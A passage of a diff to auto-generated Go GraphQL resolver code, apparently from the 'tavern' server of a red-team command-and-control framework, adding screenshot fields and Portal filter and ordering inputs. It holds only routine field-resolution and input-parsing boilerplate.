"ShellTask", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type ID does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _ShellTask_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.ShellTask) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_ShellTask_createdAt, + func(ctx context.Context) (any, error) { + return obj.CreatedAt, nil + }, + nil, + ec.marshalNTime2timeᚐTime, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_ShellTask_createdAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "ShellTask", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type Time does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _ShellTask_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.ShellTask) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_ShellTask_lastModifiedAt, + func(ctx context.Context) (any, error) { + return obj.LastModifiedAt, nil + }, + nil, + ec.marshalNTime2timeᚐTime, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_ShellTask_lastModifiedAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "ShellTask", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type Time does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _ShellTask_input(ctx context.Context, field graphql.CollectedField, obj *ent.ShellTask) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_ShellTask_input, + func(ctx context.Context) (any, error) { + return obj.Input, nil + }, + nil, + ec.marshalNString2string, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_ShellTask_input(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ Object: "ShellTask", Field: field, @@ -10966,6 +11661,55 @@ func (ec *executionContext) fieldContext_ShellTask_reportedProcesses(_ context.C return fc, nil } +func (ec *executionContext) _ShellTask_screenshots(ctx context.Context, field graphql.CollectedField, obj *ent.ShellTask) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_ShellTask_screenshots, + func(ctx context.Context) (any, error) { + return obj.Screenshots(ctx) + }, + nil, + ec.marshalOScreenshot2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotᚄ, + true, + false, + ) +} + +func (ec *executionContext) fieldContext_ShellTask_screenshots(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "ShellTask", + Field: field, + IsMethod: true, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "id": + return ec.fieldContext_Screenshot_id(ctx, field) + case "createdAt": + return ec.fieldContext_Screenshot_createdAt(ctx, field) + case "lastModifiedAt": + return ec.fieldContext_Screenshot_lastModifiedAt(ctx, field) + case "name": + return ec.fieldContext_Screenshot_name(ctx, field) + case "size": + return ec.fieldContext_Screenshot_size(ctx, field) + case "hash": + return ec.fieldContext_Screenshot_hash(ctx, field) + case "host": + return ec.fieldContext_Screenshot_host(ctx, field) + case "task": + return ec.fieldContext_Screenshot_task(ctx, field) + case "shellTask": + return ec.fieldContext_Screenshot_shellTask(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type Screenshot", field.Name) + }, + } + return fc, nil +} + func (ec *executionContext) _ShellTaskConnection_edges(ctx context.Context, field graphql.CollectedField, obj *ent.ShellTaskConnection) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, @@ -11125,6 +11869,8 @@ func (ec *executionContext) fieldContext_ShellTaskEdge_node(_ context.Context, f return ec.fieldContext_ShellTask_reportedFiles(ctx, field) case "reportedProcesses": return ec.fieldContext_ShellTask_reportedProcesses(ctx, field) + case "screenshots": + return ec.fieldContext_ShellTask_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type ShellTask", field.Name) }, @@ -12037,6 +12783,55 @@ func (ec *executionContext) fieldContext_Task_shells(ctx context.Context, field return fc, nil } +func (ec *executionContext) _Task_screenshots(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_Task_screenshots, + func(ctx context.Context) (any, error) { + fc := graphql.GetFieldContext(ctx) + return obj.Screenshots(ctx, fc.Args["after"].(*entgql.Cursor[int]), fc.Args["first"].(*int), fc.Args["before"].(*entgql.Cursor[int]), fc.Args["last"].(*int), fc.Args["orderBy"].([]*ent.ScreenshotOrder), fc.Args["where"].(*ent.ScreenshotWhereInput)) + }, + nil, + ec.marshalNScreenshotConnection2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotConnection, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_Task_screenshots(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Task", + Field: field, + IsMethod: true, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "edges": + return ec.fieldContext_ScreenshotConnection_edges(ctx, field) + case "pageInfo": + return ec.fieldContext_ScreenshotConnection_pageInfo(ctx, field) + case "totalCount": + return ec.fieldContext_ScreenshotConnection_totalCount(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type ScreenshotConnection", field.Name) + }, + } + defer func() { + if r := recover(); r != nil { + err = ec.Recover(ctx, r) + ec.Error(ctx, err) + } + }() + ctx = graphql.WithFieldContext(ctx, fc) + if fc.Args, err = ec.field_Task_screenshots_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { + ec.Error(ctx, err) + return fc, err + } + return fc, nil +} + func (ec *executionContext) _TaskConnection_edges(ctx context.Context, field graphql.CollectedField, obj *ent.TaskConnection) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, @@ -12194,6 +12989,8 @@ func (ec *executionContext) fieldContext_TaskEdge_node(_ context.Context, field return ec.fieldContext_Task_reportedCredentials(ctx, field) case "shells": return ec.fieldContext_Task_shells(ctx, field) + case "screenshots": + return ec.fieldContext_Task_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Task", field.Name) }, @@ -19419,7 +20216,7 @@ func (ec *executionContext) unmarshalInputHostWhereInput(ctx context.Context, ob asMap[k] = v } - fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "identifier", "identifierNEQ", "identifierIn", "identifierNotIn", "identifierGT", "identifierGTE", "identifierLT", "identifierLTE", "identifierContains", "identifierHasPrefix", "identifierHasSuffix", "identifierEqualFold", "identifierContainsFold", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameIsNil", "nameNotNil", "nameEqualFold", "nameContainsFold", "primaryIP", "primaryIPNEQ", "primaryIPIn", "primaryIPNotIn", "primaryIPGT", "primaryIPGTE", "primaryIPLT", "primaryIPLTE", "primaryIPContains", "primaryIPHasPrefix", "primaryIPHasSuffix", "primaryIPIsNil", "primaryIPNotNil", "primaryIPEqualFold", "primaryIPContainsFold", "externalIP", "externalIPNEQ", "externalIPIn", "externalIPNotIn", "externalIPGT", "externalIPGTE", "externalIPLT", "externalIPLTE", "externalIPContains", "externalIPHasPrefix", "externalIPHasSuffix", "externalIPIsNil", "externalIPNotNil", "externalIPEqualFold", "externalIPContainsFold", "platform", "platformNEQ", "platformIn", "platformNotIn", "lastSeenAt", "lastSeenAtNEQ", "lastSeenAtIn", "lastSeenAtNotIn", "lastSeenAtGT", "lastSeenAtGTE", "lastSeenAtLT", "lastSeenAtLTE", "lastSeenAtIsNil", "lastSeenAtNotNil", "nextSeenAt", "nextSeenAtNEQ", "nextSeenAtIn", "nextSeenAtNotIn", "nextSeenAtGT", "nextSeenAtGTE", "nextSeenAtLT", "nextSeenAtLTE", "nextSeenAtIsNil", "nextSeenAtNotNil", "hasTags", "hasTagsWith", "hasBeacons", "hasBeaconsWith", "hasFiles", "hasFilesWith", "hasProcesses", "hasProcessesWith", "hasCredentials", "hasCredentialsWith"} + fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "identifier", "identifierNEQ", "identifierIn", "identifierNotIn", "identifierGT", "identifierGTE", "identifierLT", "identifierLTE", "identifierContains", "identifierHasPrefix", "identifierHasSuffix", "identifierEqualFold", "identifierContainsFold", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameIsNil", "nameNotNil", "nameEqualFold", "nameContainsFold", "primaryIP", "primaryIPNEQ", "primaryIPIn", "primaryIPNotIn", "primaryIPGT", "primaryIPGTE", "primaryIPLT", "primaryIPLTE", "primaryIPContains", "primaryIPHasPrefix", "primaryIPHasSuffix", "primaryIPIsNil", "primaryIPNotNil", "primaryIPEqualFold", "primaryIPContainsFold", "externalIP", "externalIPNEQ", "externalIPIn", "externalIPNotIn", "externalIPGT", "externalIPGTE", "externalIPLT", "externalIPLTE", "externalIPContains", "externalIPHasPrefix", "externalIPHasSuffix", "externalIPIsNil", "externalIPNotNil", "externalIPEqualFold", "externalIPContainsFold", "platform", "platformNEQ", "platformIn", "platformNotIn", "lastSeenAt", "lastSeenAtNEQ", "lastSeenAtIn", "lastSeenAtNotIn", "lastSeenAtGT", "lastSeenAtGTE", "lastSeenAtLT", "lastSeenAtLTE", "lastSeenAtIsNil", "lastSeenAtNotNil", "nextSeenAt", "nextSeenAtNEQ", "nextSeenAtIn", "nextSeenAtNotIn", "nextSeenAtGT", "nextSeenAtGTE", "nextSeenAtLT", "nextSeenAtLTE", "nextSeenAtIsNil", "nextSeenAtNotNil", "hasTags", "hasTagsWith", "hasBeacons", "hasBeaconsWith", "hasFiles", "hasFilesWith", "hasProcesses", "hasProcessesWith", "hasCredentials", "hasCredentialsWith", "hasScreenshots", "hasScreenshotsWith"} for _, k := range fieldsInOrder { v, ok := asMap[k] if !ok { @@ -20259,6 +21056,20 @@ func (ec *executionContext) unmarshalInputHostWhereInput(ctx context.Context, ob return it, err } it.HasCredentialsWith = data + case "hasScreenshots": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasScreenshots")) + data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + it.HasScreenshots = data + case "hasScreenshotsWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasScreenshotsWith")) + data, err := ec.unmarshalOScreenshotWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + it.HasScreenshotsWith = data } } @@ -20743,78 +21554,465 @@ func (ec *executionContext) unmarshalInputLinkWhereInput(ctx context.Context, ob if err != nil { return it, err } - it.DownloadsIn = data - case "downloadsNotIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("downloadsNotIn")) - data, err := ec.unmarshalOInt2ᚕintᚄ(ctx, v) + it.DownloadsIn = data + case "downloadsNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("downloadsNotIn")) + data, err := ec.unmarshalOInt2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + it.DownloadsNotIn = data + case "downloadsGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("downloadsGT")) + data, err := ec.unmarshalOInt2ᚖint(ctx, v) + if err != nil { + return it, err + } + it.DownloadsGT = data + case "downloadsGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("downloadsGTE")) + data, err := ec.unmarshalOInt2ᚖint(ctx, v) + if err != nil { + return it, err + } + it.DownloadsGTE = data + case "downloadsLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("downloadsLT")) + data, err := ec.unmarshalOInt2ᚖint(ctx, v) + if err != nil { + return it, err + } + it.DownloadsLT = data + case "downloadsLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("downloadsLTE")) + data, err := ec.unmarshalOInt2ᚖint(ctx, v) + if err != nil { + return it, err + } + it.DownloadsLTE = data + case "hasAsset": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasAsset")) + data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + it.HasAsset = data + case "hasAssetWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasAssetWith")) + data, err := ec.unmarshalOAssetWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐAssetWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + it.HasAssetWith = data + case "hasCreator": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCreator")) + data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + it.HasCreator = data + case "hasCreatorWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCreatorWith")) + data, err := ec.unmarshalOUserWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + it.HasCreatorWith = data + } + } + + return it, nil +} + +func (ec *executionContext) unmarshalInputPortalOrder(ctx context.Context, obj any) (ent.PortalOrder, error) { + var it ent.PortalOrder + asMap := map[string]any{} + for k, v := range obj.(map[string]any) { + asMap[k] = v + } + + if _, present := asMap["direction"]; !present { + asMap["direction"] = "ASC" + } + + fieldsInOrder := [...]string{"direction", "field"} + for _, k := range fieldsInOrder { + v, ok := asMap[k] + if !ok { + continue + } + switch k { + case "direction": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("direction")) + data, err := ec.unmarshalNOrderDirection2entgoᚗioᚋcontribᚋentgqlᚐOrderDirection(ctx, v) + if err != nil { + return it, err + } + it.Direction = data + case "field": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("field")) + data, err := ec.unmarshalNPortalOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐPortalOrderField(ctx, v) + if err != nil { + return it, err + } + it.Field = data + } + } + + return it, nil +} + +func (ec *executionContext) unmarshalInputPortalWhereInput(ctx context.Context, obj any) (ent.PortalWhereInput, error) { + var it ent.PortalWhereInput + asMap := map[string]any{} + for k, v := range obj.(map[string]any) { + asMap[k] = v + } + + fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "closedAt", "closedAtNEQ", "closedAtIn", "closedAtNotIn", "closedAtGT", "closedAtGTE", "closedAtLT", "closedAtLTE", "closedAtIsNil", "closedAtNotNil", "hasTask", "hasTaskWith", "hasShellTask", "hasShellTaskWith", "hasBeacon", "hasBeaconWith", "hasOwner", "hasOwnerWith", "hasActiveUsers", "hasActiveUsersWith"} + for _, k := range fieldsInOrder { + v, ok := asMap[k] + if !ok { + continue + } + switch k { + case "not": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not")) + data, err := ec.unmarshalOPortalWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐPortalWhereInput(ctx, v) + if err != nil { + return it, err + } + it.Not = data + case "and": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and")) + data, err := ec.unmarshalOPortalWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐPortalWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + it.And = data + case "or": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or")) + data, err := ec.unmarshalOPortalWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐPortalWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + it.Or = data + case "id": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("id")) + data, err := ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + it.ID = data + case "idNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNEQ")) + data, err := ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + it.IDNEQ = data + case "idIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idIn")) + data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + it.IDIn = data + case "idNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNotIn")) + data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + it.IDNotIn = data + case "idGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGT")) + data, err := ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + it.IDGT = data + case "idGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGTE")) + data, err := ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + it.IDGTE = data + case "idLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLT")) + data, err := ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + it.IDLT = data + case "idLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLTE")) + data, err := ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + it.IDLTE = data + case "createdAt": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAt")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.CreatedAt = data + case "createdAtNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtNEQ")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.CreatedAtNEQ = data + case "createdAtIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtIn")) + data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) + if err != nil { + return it, err + } + it.CreatedAtIn = data + case "createdAtNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtNotIn")) + data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) + if err != nil { + return it, err + } + it.CreatedAtNotIn = data + case "createdAtGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtGT")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.CreatedAtGT = data + case "createdAtGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtGTE")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.CreatedAtGTE = data + case "createdAtLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtLT")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.CreatedAtLT = data + case "createdAtLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtLTE")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.CreatedAtLTE = data + case "lastModifiedAt": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAt")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.LastModifiedAt = data + case "lastModifiedAtNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtNEQ")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.LastModifiedAtNEQ = data + case "lastModifiedAtIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtIn")) + data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) + if err != nil { + return it, err + } + it.LastModifiedAtIn = data + case "lastModifiedAtNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtNotIn")) + data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) + if err != nil { + return it, err + } + it.LastModifiedAtNotIn = data + case "lastModifiedAtGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtGT")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.LastModifiedAtGT = data + case "lastModifiedAtGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtGTE")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.LastModifiedAtGTE = data + case "lastModifiedAtLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtLT")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.LastModifiedAtLT = data + case "lastModifiedAtLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtLTE")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.LastModifiedAtLTE = data + case "closedAt": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAt")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.ClosedAt = data + case "closedAtNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtNEQ")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.ClosedAtNEQ = data + case "closedAtIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtIn")) + data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) + if err != nil { + return it, err + } + it.ClosedAtIn = data + case "closedAtNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtNotIn")) + data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) + if err != nil { + return it, err + } + it.ClosedAtNotIn = data + case "closedAtGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtGT")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.ClosedAtGT = data + case "closedAtGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtGTE")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.ClosedAtGTE = data + case "closedAtLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtLT")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.ClosedAtLT = data + case "closedAtLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtLTE")) + data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + if err != nil { + return it, err + } + it.ClosedAtLTE = data + case "closedAtIsNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtIsNil")) + data, err := ec.unmarshalOBoolean2bool(ctx, v) + if err != nil { + return it, err + } + it.ClosedAtIsNil = data + case "closedAtNotNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("closedAtNotNil")) + data, err := ec.unmarshalOBoolean2bool(ctx, v) + if err != nil { + return it, err + } + it.ClosedAtNotNil = data + case "hasTask": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTask")) + data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + it.HasTask = data + case "hasTaskWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTaskWith")) + data, err := ec.unmarshalOTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.DownloadsNotIn = data - case "downloadsGT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("downloadsGT")) - data, err := ec.unmarshalOInt2ᚖint(ctx, v) + it.HasTaskWith = data + case "hasShellTask": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasShellTask")) + data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.DownloadsGT = data - case "downloadsGTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("downloadsGTE")) - data, err := ec.unmarshalOInt2ᚖint(ctx, v) + it.HasShellTask = data + case "hasShellTaskWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasShellTaskWith")) + data, err := ec.unmarshalOShellTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShellTaskWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.DownloadsGTE = data - case "downloadsLT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("downloadsLT")) - data, err := ec.unmarshalOInt2ᚖint(ctx, v) + it.HasShellTaskWith = data + case "hasBeacon": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasBeacon")) + data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.DownloadsLT = data - case "downloadsLTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("downloadsLTE")) - data, err := ec.unmarshalOInt2ᚖint(ctx, v) + it.HasBeacon = data + case "hasBeaconWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasBeaconWith")) + data, err := ec.unmarshalOBeaconWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.DownloadsLTE = data - case "hasAsset": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasAsset")) + it.HasBeaconWith = data + case "hasOwner": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasOwner")) data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.HasAsset = data - case "hasAssetWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasAssetWith")) - data, err := ec.unmarshalOAssetWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐAssetWhereInputᚄ(ctx, v) + it.HasOwner = data + case "hasOwnerWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasOwnerWith")) + data, err := ec.unmarshalOUserWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.HasAssetWith = data - case "hasCreator": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCreator")) + it.HasOwnerWith = data + case "hasActiveUsers": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasActiveUsers")) data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.HasCreator = data - case "hasCreatorWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCreatorWith")) + it.HasActiveUsers = data + case "hasActiveUsersWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasActiveUsersWith")) data, err := ec.unmarshalOUserWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.HasCreatorWith = data + it.HasActiveUsersWith = data } } return it, nil } -func (ec *executionContext) unmarshalInputPortalOrder(ctx context.Context, obj any) (ent.PortalOrder, error) { - var it ent.PortalOrder +func (ec *executionContext) unmarshalInputQuestOrder(ctx context.Context, obj any) (ent.QuestOrder, error) { + var it ent.QuestOrder asMap := map[string]any{} for k, v := range obj.(map[string]any) { asMap[k] = v @@ -20840,7 +22038,7 @@ func (ec *executionContext) unmarshalInputPortalOrder(ctx context.Context, obj a it.Direction = data case "field": ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("field")) - data, err := ec.unmarshalNPortalOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐPortalOrderField(ctx, v) + data, err := 